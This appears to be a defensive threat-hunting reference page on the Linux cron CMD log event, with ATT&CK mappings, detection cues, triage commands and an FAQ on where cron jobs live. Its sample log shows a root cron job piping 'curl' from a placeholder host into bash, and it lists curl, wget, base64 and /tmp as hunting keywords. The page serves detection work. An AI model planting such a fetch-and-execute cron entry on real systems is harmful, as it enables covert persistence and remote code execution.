Persistence through a cron entry.
What gives it awayA job running a script from a temp directory, a user home, or a shared directory, particularly one added recently.
ATT&CK T1053.003Nothing matches that yet. Tell us what you were looking for and it goes on the list.
cron · Event CMD
cron ran a scheduled command. The log records that it started, and almost never whether it worked — which is why cron failures are so often discovered late, and why an attacker's cron entry is easy to miss.
Also written as CRON CMDcron session openedpam_unix(cron:session)crontab log entry
A scheduled task ran on this Linux machine. Normal system maintenance produces these constantly.
cron logs the invocation, not the outcome. A job that fails silently looks identical to one that succeeded unless it writes to stderr and mail is configured. For hunting, the useful angle is the command text: entries invoking curl, wget, base64, or a shell one-liner from a user crontab deserve reading, and the crontab files themselves matter as much as the log.
Sanitised. Addresses come from the RFC 5737 documentation ranges.
Aug 28 09:45:01 web-01 CRON[25011]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Aug 28 09:45:01 web-01 CRON[25012]: (root) CMD (curl -s https://files.example.invalid/s.sh | bash)
Aug 28 09:45:01 web-01 CRON[25011]: pam_unix(cron:session): session closed for user root Everything else in the log line is context.
A path under /etc/cron.daily or similarOrdinary system maintenance. curl or wget piped into a shellDownloading and executing on a schedule. Rarely legitimate in a crontab. base64 or a long encoded stringObfuscated payload. A command from a user home directoryWorth confirming who put it there. Most of the time it is one of these.
What gives it awayA job running a script from a temp directory, a user home, or a shared directory, particularly one added recently.
ATT&CK T1053.003What gives it awayA CMD containing curl or wget piped into a shell.
ATT&CK T1105What gives it awayA file dropped into /etc/cron.d with a name resembling a package's own.
ATT&CK T1053.003What gives it awayA job on a short interval whose command reaches the network.
ATT&CK T1071grep CRON /var/log/syslog | grep -oP 'CMD \(\K[^)]+' | sort | uniq -c | sort -rn | head -30 for u in $(cut -f1 -d: /etc/passwd); do echo "== $u"; crontab -u $u -l 2>/dev/null; done; ls -la /etc/cron.d/ /etc/cron.*/ journalctl -u cron -u crond --since '24 hours ago' --no-pager | grep -Ei 'curl|wget|base64|/tmp/|bash -c' systemctl list-timers --all --no-pager No, and this catches people out constantly. It logs that the command was invoked, not what happened next. A job that fails immediately produces the same log line as one that worked. If you need to know the outcome, have the job write its own output somewhere, or wrap it in something that records the exit status.
In several places, which is why they are easy to miss: /etc/crontab, files in /etc/cron.d, the /etc/cron.hourly through /etc/cron.monthly directories, and per-user crontabs under /var/spool/cron. Increasingly, scheduled work lives in systemd timers instead, which do not appear in cron logs at all — check `systemctl list-timers` as well.
Read the commands rather than the schedule. Anything downloading and executing, anything base64-encoded, and anything running from /tmp or a user home directory is worth confirming. Then check every location cron reads from, including per-user crontabs, and compare modification times against when you think the machine was last touched.
Some monitoring and application jobs are configured to run that frequently, and each invocation is logged. It is normal, though it does bury less frequent entries. Filtering the very high-frequency commands out is usually the first step when reading cron logs seriously.
Last reviewed 28 August 2026